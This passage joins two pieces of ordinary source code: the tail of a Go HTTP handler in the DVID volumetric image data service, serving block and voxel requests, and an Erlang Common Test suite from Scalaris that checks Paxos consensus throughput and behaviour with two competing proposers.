nil:\n\t\t\tindexBeg := dvid.IndexZYX(blockCoord)\n\t\t\tkeyBeg := NewTKey(&indexBeg)\n\t\t\tif value, err = okvDB.Get(ctx, keyBeg); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(value) > 0 {\n\t\t\t\treturn d.SendSerializedBlock(w, blockCoord[0], blockCoord[1], blockCoord[2], value, compression)\n\t\t\t}\n\t\tdefault:\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\t// only do one request at a time, although each request can start many goroutines.\n\tserver.LargeMutationMutex.Lock()\n\tdefer server.LargeMutationMutex.Unlock()\n\n\tif gridStore != nil {\n\t\tordered := false\n\t\tminBlock, maxBlock, err := subvol.BoundingChunks(d.BlockSize())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn gridStore.GridGetVolume(d.ScaleLevel, minBlock, maxBlock, ordered, &storage.BlockOp{}, func(b *storage.Block) error {\n\t\t\tif b.Value != nil {\n\t\t\t\tif err := d.SendUnserializedBlock(w, b.Coord[0], b.Coord[1], b.Coord[2], b.Value, compression); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n\n\tokv := okvDB.(storage.BufferableOps)\n\t// extract buffer interface\n\treq, hasbuffer := okv.(storage.KeyValueRequester)\n\tif hasbuffer {\n\t\tokv = req.NewBuffer(ctx)\n\t}\n\n\tfor ziter := int32(0); ziter < blocksize.Value(2); ziter++ {\n\t\tfor yiter := int32(0); yiter < blocksize.Value(1); yiter++ {\n\t\t\tif !hasbuffer {\n\t\t\t\tbeginPoint := dvid.ChunkPoint3d{blockoffset.Value(0), blockoffset.Value(1) + yiter, blockoffset.Value(2) + ziter}\n\t\t\t\tendPoint := dvid.ChunkPoint3d{blockoffset.Value(0) + blocksize.Value(0) - 1, blockoffset.Value(1) + yiter, blockoffset.Value(2) + ziter}\n\t\t\t\tindexBeg := dvid.IndexZYX(beginPoint)\n\t\t\t\tsx, sy, sz := indexBeg.Unpack()\n\t\t\t\tbegTKey := NewTKey(&indexBeg)\n\t\t\t\tindexEnd := dvid.IndexZYX(endPoint)\n\t\t\t\tendTKey := NewTKey(&indexEnd)\n\n\t\t\t\t// Send the entire range of key-value pairs to chunk processor\n\t\t\t\terr = okv.ProcessRange(ctx, begTKey, endTKey, &storage.ChunkOp{}, func(c *storage.Chunk) error {\n\t\t\t\t\tif c == nil || c.TKeyValue == nil {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\tkv := c.TKeyValue\n\t\t\t\t\tif kv.V == nil {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\n\t\t\t\t\t// Determine which block this is.\n\t\t\t\t\tindexZYX, err := DecodeTKey(kv.K)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tx, y, z := indexZYX.Unpack()\n\t\t\t\t\tif z != sz || y != sy || x < sx || x >= sx+int32(blocksize.Value(0)) {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\tif err := d.SendSerializedBlock(w, x, y, z, kv.V, compression); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t})\n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"Unable to GET data %s: %v\", ctx, err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ttkeys := make([]storage.TKey, 0)\n\t\t\t\tfor xiter := int32(0); xiter < blocksize.Value(0); xiter++ {\n\t\t\t\t\tcurrPoint := dvid.ChunkPoint3d{blockoffset.Value(0) + xiter, blockoffset.Value(1) + yiter, blockoffset.Value(2) + ziter}\n\t\t\t\t\tcurrPoint2 := dvid.IndexZYX(currPoint)\n\t\t\t\t\tcurrTKey := NewTKey(&currPoint2)\n\t\t\t\t\ttkeys = append(tkeys, currTKey)\n\t\t\t\t}\n\t\t\t\t// Send the entire range of key-value pairs to chunk processor\n\t\t\t\terr = okv.(storage.RequestBuffer).ProcessList(ctx, tkeys, &storage.ChunkOp{}, func(c *storage.Chunk) error {\n\t\t\t\t\tif c == nil || c.TKeyValue == nil {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\tkv := c.TKeyValue\n\t\t\t\t\tif kv.V == nil {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\n\t\t\t\t\t// Determine which block this is.\n\t\t\t\t\tindexZYX, err := DecodeTKey(kv.K)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tx, y, z := indexZYX.Unpack()\n\n\t\t\t\t\tif err := d.SendSerializedBlock(w, x, y, z, kv.V, compression); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t})\n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"Unable to GET data %s: %v\", ctx, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif hasbuffer {\n\t\t// submit the entire buffer to the DB\n\t\terr = okv.(storage.RequestBuffer).Flush()\n\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to GET data %s: %v\", ctx, err)\n\n\t\t}\n\t}\n\n\treturn err\n}\n\n// ServeHTTP handles all incoming HTTP requests for this data.\nfunc (d *Data) ServeHTTP(uuid dvid.UUID, ctx *datastore.VersionedCtx, w http.ResponseWriter, r *http.Request) (activity map[string]interface{}) {\n\ttimedLog := dvid.NewTimeLog()\n\n\t// Get the action (GET, POST)\n\taction := strings.ToLower(r.Method)\n\tswitch action {\n\tcase \"get\":\n\tcase \"post\":\n\t\t// TODO -- relax this once GridStore implementations allow mutation\n\t\tif d.GridStore != \"\" {\n\t\t\tserver.BadRequest(w, r, \"Data %q uses an immutable GridStore so cannot received POSTs\", d.DataName())\n\t\t\treturn\n\t\t}\n\tdefault:\n\t\tserver.BadRequest(w, r, \"Data %q can only handle GET or POST HTTP verbs\", d.DataName())\n\t\treturn\n\t}\n\n\t// Break URL request into arguments\n\turl := r.URL.Path[len(server.WebAPIPath):]\n\tparts := strings.Split(url, \"/\")\n\tif len(parts[len(parts)-1]) == 0 {\n\t\tparts = parts[:len(parts)-1]\n\t}\n\n\t// Get query strings and possible roi\n\tvar roiptr *ROI\n\tqueryStrings := r.URL.Query()\n\troiname := dvid.InstanceName(queryStrings.Get(\"roi\"))\n\tif len(roiname) != 0 {\n\t\troiptr = new(ROI)\n\t\tattenuationStr := queryStrings.Get(\"attenuation\")\n\t\tif len(attenuationStr) != 0 {\n\t\t\tattenuation, err := strconv.Atoi(attenuationStr)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif attenuation < 1 || attenuation > 7 {\n\t\t\t\tserver.BadRequest(w, r, \"Attenuation should be from 1 to 7 (divides by 2^n)\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\troiptr.attenuation = uint8(attenuation)\n\t\t}\n\t}\n\n\t// // Handle POST on data -> setting of configuration\n\t// if len(parts) == 3 && action == \"post\" {\n\t// \tfmt.Printf(\"Setting configuration of data '%s'\\n\", d.DataName())\n\t// \tconfig, err := server.DecodeJSON(r)\n\t// \tif err != nil {\n\t// \t\tserver.BadRequest(w, r, err)\n\t// \t\treturn\n\t// \t}\n\t// \tif err := d.ModifyConfig(config); err != nil {\n\t// \t\tserver.BadRequest(w, r, err)\n\t// \t\treturn\n\t// \t}\n\t// \tif err := datastore.SaveDataByUUID(uuid, d); err != nil {\n\t// \t\tserver.BadRequest(w, r, err)\n\t// \t\treturn\n\t// \t}\n\t// \tfmt.Fprintf(w, \"Changed '%s' based on received configuration:\\n%s\\n\", d.DataName(), config)\n\t// \treturn\n\t// }\n\n\tif len(parts) < 4 {\n\t\tserver.BadRequest(w, r, \"Incomplete API request\")\n\t\treturn\n\t}\n\n\t// Process help and info.\n\tswitch parts[3] {\n\tcase \"help\":\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tfmt.Fprintln(w, d.Help())\n\t\treturn\n\n\tcase \"metadata\":\n\t\tjsonStr, err := d.NdDataMetadata(ctx)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.dvid-nd-data+json\")\n\t\tfmt.Fprintln(w, jsonStr)\n\t\treturn\n\n\tcase \"extents\":\n\t\tjsonBytes, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tif err := d.SetExtents(ctx, uuid, jsonBytes); err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\n\tcase \"resolution\":\n\t\tjsonBytes, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tif err := d.SetResolution(uuid, jsonBytes); err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\n\tcase \"info\":\n\t\tjsonBytes, err := d.MarshalJSONExtents(ctx)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprintf(w, string(jsonBytes))\n\t\treturn\n\n\tcase \"rawkey\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/rawkey?x=<block x>&y=<block y>&z=<block z>\n\t\tif len(parts) != 4 {\n\t\t\tserver.BadRequest(w, r, \"rawkey endpoint should be followed by query strings (x, y, and z) giving block coord\")\n\t\t\treturn\n\t\t}\n\n\tcase \"specificblocks\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/specificblocks?compression=gzip&prefetch=false&blocks=x,y,z,x,y,z...\n\t\tcompression := queryStrings.Get(\"compression\")\n\t\tblocklist := queryStrings.Get(\"blocks\")\n\t\tisprefetch := false\n\t\tif prefetch := queryStrings.Get(\"prefetch\"); prefetch == \"on\" || prefetch == \"true\" {\n\t\t\tisprefetch = true\n\t\t}\n\n\t\tif action == \"get\" {\n\t\t\tnumBlocks, err := d.SendBlocksSpecific(ctx, w, compression, blocklist, isprefetch)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttimedLog.Infof(\"HTTP %s: %s\", r.Method, r.URL)\n\t\t\tactivity = map[string]interface{}{\n\t\t\t\t\"num_blocks\": numBlocks,\n\t\t\t}\n\t\t} else {\n\t\t\tserver.BadRequest(w, r, \"DVID does not accept the %s action on the 'specificblocks' endpoint\", action)\n\t\t\treturn\n\t\t}\n\n\tcase \"subvolblocks\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/subvolblocks/<coord>/<offset>[?compression=...]\n\t\tsizeStr, offsetStr := parts[4], parts[5]\n\n\t\tif throttle := queryStrings.Get(\"throttle\"); throttle == \"on\" || throttle == \"true\" {\n\t\t\tif server.ThrottledHTTP(w) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer server.ThrottledOpDone()\n\t\t}\n\t\tcompression := queryStrings.Get(\"compression\")\n\t\tsubvol, err := dvid.NewSubvolumeFromStrings(offsetStr, sizeStr, \"_\")\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif subvol.StartPoint().NumDims() != 3 || subvol.Size().NumDims() != 3 {\n\t\t\tserver.BadRequest(w, r, \"must specify 3D subvolumes\", subvol.StartPoint(), subvol.EndPoint())\n\t\t\treturn\n\t\t}\n\n\t\t// Make sure subvolume gets align with blocks\n\t\tif !dvid.BlockAligned(subvol, d.BlockSize()) {\n\t\t\tserver.BadRequest(w, r, \"cannot use labels via 'block' endpoint in non-block aligned geometry %s -> %s\", subvol.StartPoint(), subvol.EndPoint())\n\t\t\treturn\n\t\t}\n\n\t\tif action == \"get\" {\n\t\t\tif err := d.SendBlocks(ctx, w, subvol, compression); err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttimedLog.Infof(\"HTTP %s: %s (%s)\", r.Method, subvol, r.URL)\n\t\t} else {\n\t\t\tserver.BadRequest(w, r, \"DVID does not accept the %s action on the 'blocks' endpoint\", action)\n\t\t\treturn\n\t\t}\n\n\tcase \"blocks\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/blocks/<block coord>/<spanX>\n\t\t// POST <api URL>/node/<UUID>/<data name>/blocks/<block coord>/<spanX>\n\t\tif len(parts) < 6 {\n\t\t\tserver.BadRequest(w, r, \"%q must be followed by block-coord/span-x\", parts[3])\n\t\t\treturn\n\t\t}\n\t\tbcoord, err := dvid.StringToChunkPoint3d(parts[4], \"_\")\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tspan, err := strconv.Atoi(parts[5])\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tif action == \"get\" {\n\t\t\tdata, err := d.GetBlocks(ctx.VersionID(), bcoord, int32(span))\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tw.Header().Set(\"Content-type\", \"application/octet-stream\")\n\t\t\t_, err = w.Write(data)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tmutID := d.NewMutationID()\n\t\t\tmutate := (queryStrings.Get(\"mutate\") == \"true\")\n\t\t\tif err := d.PutBlocks(ctx.VersionID(), mutID, bcoord, span, r.Body, mutate); err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\ttimedLog.Infof(\"HTTP %s: Blocks (%s)\", r.Method, r.URL)\n\n\tcase \"arb\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/arb/<top left>/<top right>/<bottom left>/<res>[/<format>]\n\t\tif len(parts) < 8 {\n\t\t\tserver.BadRequest(w, r, \"%q must be followed by top-left/top-right/bottom-left/res\", parts[3])\n\t\t\treturn\n\t\t}\n\t\tif throttle := queryStrings.Get(\"throttle\"); throttle == \"on\" || throttle == \"true\" {\n\t\t\tif server.ThrottledHTTP(w) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer server.ThrottledOpDone()\n\t\t}\n\t\timg, err := d.GetArbitraryImage(ctx, parts[4], parts[5], parts[6], parts[7])\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tvar formatStr string\n\t\tif len(parts) >= 9 {\n\t\t\tformatStr = parts[8]\n\t\t}\n\t\terr = dvid.WriteImageHttp(w, img.Get(), formatStr)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\ttimedLog.Infof(\"HTTP %s: Arbitrary image (%s)\", r.Method, r.URL)\n\n\tcase \"raw\", \"isotropic\":\n\t\t// GET <api URL>/node/<UUID>/<data name>/isotropic/<dims>/<size>/<offset>[/<format>]\n\t\tif len(parts) < 7 {\n\t\t\tserver.BadRequest(w, r, \"%q must be followed by shape/size/offset\", parts[3])\n\t\t\treturn\n\t\t}\n\t\tvar isotropic bool = (parts[3] == \"isotropic\")\n\t\tshapeStr, sizeStr, offsetStr := parts[4], parts[5], parts[6]\n\t\tplaneStr := dvid.DataShapeString(shapeStr)\n\t\tplane, err := planeStr.DataShape()\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tswitch plane.ShapeDimensions() {\n\t\tcase 2:\n\t\t\tslice, err := dvid.NewSliceFromStrings(planeStr, offsetStr, sizeStr, \"_\")\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif action != \"get\" {\n\t\t\t\tserver.BadRequest(w, r, \"DVID does not permit 2d mutations, only 3d block-aligned stores\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trawSlice, err := dvid.Isotropy2D(d.Properties.VoxelSize, slice, isotropic)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvox, err := d.NewVoxels(rawSlice, nil)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\timg, err := d.GetImage(ctx.VersionID(), vox, roiname)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif isotropic {\n\t\t\t\tdstW := int(slice.Size().Value(0))\n\t\t\t\tdstH := int(slice.Size().Value(1))\n\t\t\t\timg, err = img.ScaleImage(dstW, dstH)\n\t\t\t\tif err != nil {\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar formatStr string\n\t\t\tif len(parts) >= 8 {\n\t\t\t\tformatStr = parts[7]\n\t\t\t}\n\t\t\terr = dvid.WriteImageHttp(w, img.Get(), formatStr)\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttimedLog.Infof(\"HTTP %s: %s (%s)\", r.Method, plane, r.URL)\n\t\tcase 3:\n\t\t\tif throttle := queryStrings.Get(\"throttle\"); throttle == \"on\" || throttle == \"true\" {\n\t\t\t\tif server.ThrottledHTTP(w) {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdefer server.ThrottledOpDone()\n\t\t\t}\n\t\t\tsubvol, err := dvid.NewSubvolumeFromStrings(offsetStr, sizeStr, \"_\")\n\t\t\tif err != nil {\n\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif action == \"get\" {\n\t\t\t\tvox, err := d.NewVoxels(subvol, nil)\n\t\t\t\tif err != nil {\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif len(parts) >= 8 && (parts[7] == \"jpeg\" || parts[7] == \"jpg\") {\n\n\t\t\t\t\t// extract volume\n\t\t\t\t\tif err := d.GetVoxels(ctx.VersionID(), vox, roiname); err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t// convert 3D volume to an 2D image\n\t\t\t\t\tsize3d := vox.Geometry.Size()\n\t\t\t\t\tsize2d := dvid.Point2d{size3d.Value(0), size3d.Value(1) * size3d.Value(2)}\n\t\t\t\t\tgeo2d, err := dvid.NewOrthogSlice(dvid.XY, vox.Geometry.StartPoint(), size2d)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tvox.Geometry = geo2d\n\n\t\t\t\t\timg, err := vox.GetImage2d()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tformatStr := parts[7]\n\t\t\t\t\terr = dvid.WriteImageHttp(w, img.Get(), formatStr)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t} else {\n\n\t\t\t\t\tdata, err := d.GetVolume(ctx.VersionID(), vox, roiname)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tw.Header().Set(\"Content-type\", \"application/octet-stream\")\n\t\t\t\t\t_, err = w.Write(data)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif isotropic {\n\t\t\t\t\terr := fmt.Errorf(\"can only POST 'raw' not 'isotropic' images\")\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdata, err := ioutil.ReadAll(r.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tvox, err := d.NewVoxels(subvol, data)\n\t\t\t\tif err != nil {\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tmutID := d.NewMutationID()\n\t\t\t\tmutate := (queryStrings.Get(\"mutate\") == \"true\")\n\t\t\t\tif err = d.PutVoxels(ctx.VersionID(), mutID, vox, roiname, mutate); err != nil {\n\t\t\t\t\tserver.BadRequest(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\ttimedLog.Infof(\"HTTP %s: %s (%s)\", r.Method, subvol, r.URL)\n\t\tdefault:\n\t\t\tserver.BadRequest(w, r, \"DVID currently supports shapes of only 2 and 3 dimensions\")\n\t\t}\n\tdefault:\n\t\tserver.BadAPIRequest(w, r, d)\n\t}\n\treturn\n}\n"} {"text": "% @copyright 2008-2016 Zuse Institute Berlin\n\n% Licensed under the Apache License, Version 2.0 (the \"License\");\n% you may not use this file except in compliance with the License.\n% You may obtain a copy of the License at\n%\n% http://www.apache.org/licenses/LICENSE-2.0\n%\n% Unless required by applicable law or agreed to in writing, software\n% distributed under the License is distributed on an \"AS IS\" BASIS,\n% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n% See the License for the specific language governing permissions and\n% limitations under the License.\n\n%% @author Thorsten Schuett <schuett@zib.de>\n%% @doc Unit tests for src/paxos/*.erl\n%% @end\n%% @version $Id$\n-module(paxos_SUITE).\n-author('schuett@zib.de').\n-vsn('$Id$').\n\n-compile(export_all).\n-include(\"scalaris.hrl\").\n-include(\"unittest.hrl\").\n\nall() -> [\n test_fast_acceptors_4, test_fast_acceptors_16,\n test_acceptors_4, test_acceptors_16,\n test_two_proposers,\n test_rnd_interleave\n ].\n\nsuite() ->\n [{timetrap, {seconds, 40}}].\n\ninit_per_suite(Config) ->\n {priv_dir, PrivDir} = lists:keyfind(priv_dir, 1, Config),\n unittest_helper:make_ring(2, [{config, [{log_path, PrivDir}]}]),\n comm_server:set_local_address({127,0,0,1}, unittest_helper:get_scalaris_port()),\n Config.\n\nend_per_suite(_Config) ->\n ok.\n\n-spec make_groupname(Prefix::string(), Number::integer()) -> pid_groups:groupname().\nmake_groupname(Prefix, Number) ->\n {Prefix, Number}.\n\n%% make proposers, acceptors, and learners\n-spec make(P::pos_integer(), A::pos_integer(), L::pos_integer(), Prefix::atom())\n -> {Ps::[comm:mypid(),...], As::[comm:mypid(),...], Ls::[comm:mypid(),...]}.\nmake(P, A, L, Prefix) ->\n NumMDs = lists:max([P,A,L]),\n _ = [ msg_delay:start_link(make_groupname(Prefix, X))\n || X <- lists:seq(1, NumMDs)],\n Ps = [ comm:make_global(element(2, proposer:start_link(make_groupname(Prefix, X), paxos_proposer)))\n || X <- lists:seq(1, P)],\n As = [ comm:make_global(element(2, acceptor:start_link(make_groupname(Prefix, X), paxos_acceptor)))\n || X <- lists:seq(1, A)],\n Ls = [ comm:make_global(element(2, learner:start_link(make_groupname(Prefix, X), paxos_learner)))\n || X <- lists:seq(1,L)],\n {Ps, As, Ls}.\n\n-spec collector(Count::pos_integer(), Owner::pid()) -> pid().\ncollector(Count, Owner) ->\n spawn(fun() ->\n collect(Count),\n Owner ! done\n end).\n\n-spec collect(non_neg_integer()) -> ok.\ncollect(0) ->\n ok;\ncollect(Count) ->\n receive\n _ -> collect(Count - 1)\n%% after 2000 ->\n%% ct:pal(\"No further receives at count ~p\", [Count]),\n%% collect(Count - 1)\n end.\n\n-spec tester_fast_paxos(CountAcceptors::pos_integer(), Count::pos_integer(), Prefix::atom()) -> ok.\ntester_fast_paxos(CountAcceptors, Count, Prefix) ->\n %% Count = 10,\n CountProposers = 1,\n %% CountAcceptors = 4,\n Majority = CountAcceptors div 2 + 1,\n {Proposers, Acceptors, Learners} =\n make(CountProposers, CountAcceptors, 1, Prefix),\n\n Collector = comm:make_global(collector(Count, self())),\n\n _ = [ learner:start_paxosid(hd(Learners), Id, Majority, Collector, chocolate_chip_cookie)\n || Id <- lists:seq(1, Count)],\n _ = [ acceptor:start_paxosid(X, Id, Learners)\n || X <- Acceptors, Id <- lists:seq(1, Count)],\n _ = [ proposer:start_paxosid(hd(Proposers), Id, Acceptors, ?prepared,\n Majority, CountProposers, 0)\n || Id <- lists:seq(1, Count)],\n receive done -> ok\n end,\n _ = [ gen_component:kill(comm:make_local(X))\n || X <- lists:flatten([Proposers, Acceptors, Learners])],\n ok.\n\n-spec tester_paxos(CountAcceptors::pos_integer(), Count::pos_integer(), Prefix::atom()) -> ok.\ntester_paxos(CountAcceptors, Count, Prefix) ->\n CountProposers = 1,\n Majority = CountAcceptors div 2 + 1,\n {Proposers, Acceptors, Learners} =\n make(CountProposers, CountAcceptors, 1, Prefix),\n\n Collector = comm:make_global(collector(Count, self())),\n\n _ = spawn(fun() ->\n [ learner:start_paxosid(hd(Learners), Id, Majority, Collector, chocolate_chip_cookie)\n || Id <- lists:seq(1, Count)]\n end),\n _ = spawn(fun() ->\n [ acceptor:start_paxosid(X, Id, Learners)\n || X <- Acceptors, Id <- lists:seq(1, Count)]\n end),\n _ = spawn(fun() ->\n [ proposer:start_paxosid(hd(Proposers), Id, Acceptors,\n ?prepared, Majority, CountProposers)\n || Id <- lists:seq(1, Count)]\n end),\n receive done -> ok\n end,\n _ = [ gen_component:kill(comm:make_local(X))\n || X <- lists:flatten([Proposers, Acceptors, Learners])],\n ok.\n\ntest_fast_acceptors_4(_Config) ->\n Count = 10000,\n Before = os:timestamp(),\n tester_fast_paxos(4, Count, test_acceptors_4),\n After = os:timestamp(),\n ct:pal(\"fast: acceptors: 4, throughput: ~p~n\", [Count / (erlang:max(1, timer:now_diff(After, Before)) / 1000000.0)]),\n ok.\n\ntest_fast_acceptors_16(_Config) ->\n Count = 10000,\n Before = os:timestamp(),\n tester_fast_paxos(16, Count, test_acceptors_16),\n After = os:timestamp(),\n ct:pal(\"fast: acceptors: 16, throughput: ~p~n\", [Count / (erlang:max(1, timer:now_diff(After, Before)) / 1000000.0)]),\n ok.\n\ntest_acceptors_4(_Config) ->\n Count = 10000,\n Before = os:timestamp(),\n tester_paxos(4, Count, test_acceptors_4),\n After = os:timestamp(),\n ct:pal(\"slow: acceptors: 4, throughput: ~p~n\", [Count / (erlang:max(1, timer:now_diff(After, Before)) / 1000000.0)]),\n ok.\n\ntest_acceptors_16(_Config) ->\n Count = 10000,\n Before = os:timestamp(),\n tester_paxos(16, Count, test_acceptors_16),\n After = os:timestamp(),\n ct:pal(\"slow: acceptors: 16, throughput: ~p~n\", [Count / (erlang:max(1, timer:now_diff(After, Before)) / 1000000.0)]),\n ok.\n\ntest_two_proposers(_Config) ->\n ct:pal(\"test_two_proposers ...~n\"),\n CountProposers = 2,\n CountAcceptors = 4,\n Majority = CountAcceptors div 2 + 1,\n {Proposers, Acceptors, Learners} =\n make(CountProposers, CountAcceptors, 1, two_proposers),\n\n %% start paxosids in the components\n learner:start_paxosid(hd(Learners), paxid123, Majority, comm:this(), cpaxid123),\n _ = [ acceptor:start_paxosid(X, paxid123, Learners) || X <- Acceptors ],\n [ Proposer1, Proposer2 ] = Proposers,\n\n %% set some breakpoints\n gen_component:bp_set(comm:make_local(Proposer1), acceptor_ack, bp1),\n %% initiate full paxos\n proposer:start_paxosid(Proposer1, paxid123, Acceptors,\n ?prepared, Majority, length(Proposers), 3),\n proposer:start_paxosid(Proposer2, paxid123, Acceptors,\n ?abort, Majority, length(Proposers), 2),\n\n %% should receive an abort\n receive {learner_decide, cpaxid123, _, Res1} = Any -> io:format(\"Expected abort Received ~p~n\", [Any]) end,\n\n gen_component:bp_barrier(comm:make_local(Proposer1)),\n gen_component:bp_del(comm:make_local(Proposer1), bp1),\n gen_component:bp_cont(comm:make_local(Proposer1)),\n\n %% should receive also an abort as proposer1 was hold\n receive {learner_decide, cpaxid123, _, Res2} = Any2 ->\n io:format(\"Expected abort Received ~p~n\", [Any2]) end,\n\n ?assert(Res1 =:= Res2),\n %%%%% now vice versa:\n io:format(\"Now vice versa~n\"),\n\n %% start paxosids in the components\n learner:start_paxosid(hd(Learners), paxid124, Majority, comm:this(), cpaxid124),\n _ = [ acceptor:start_paxosid(X, paxid124, Learners) || X <- Acceptors ],\n [ Proposer1, Proposer2 ] = Proposers,\n %% set some breakpoints\n gen_component:bp_set(comm:make_local(Proposer2), acceptor_ack, bp2),\n %% initiate full paxos\n proposer:start_paxosid(Proposer1, paxid124, Acceptors,\n ?prepared, Majority, length(Proposers), 1),\n proposer:start_paxosid(Proposer2, paxid124, Acceptors,\n ?abort, Majority, length(Proposers), 2),\n\n %% should receive a prepared as proposer2 was hold\n receive {learner_decide, cpaxid124, _, Res3} = Any3 -> io:format(\"Expected prepared Received ~p~n\", [Any3]) end,\n\n 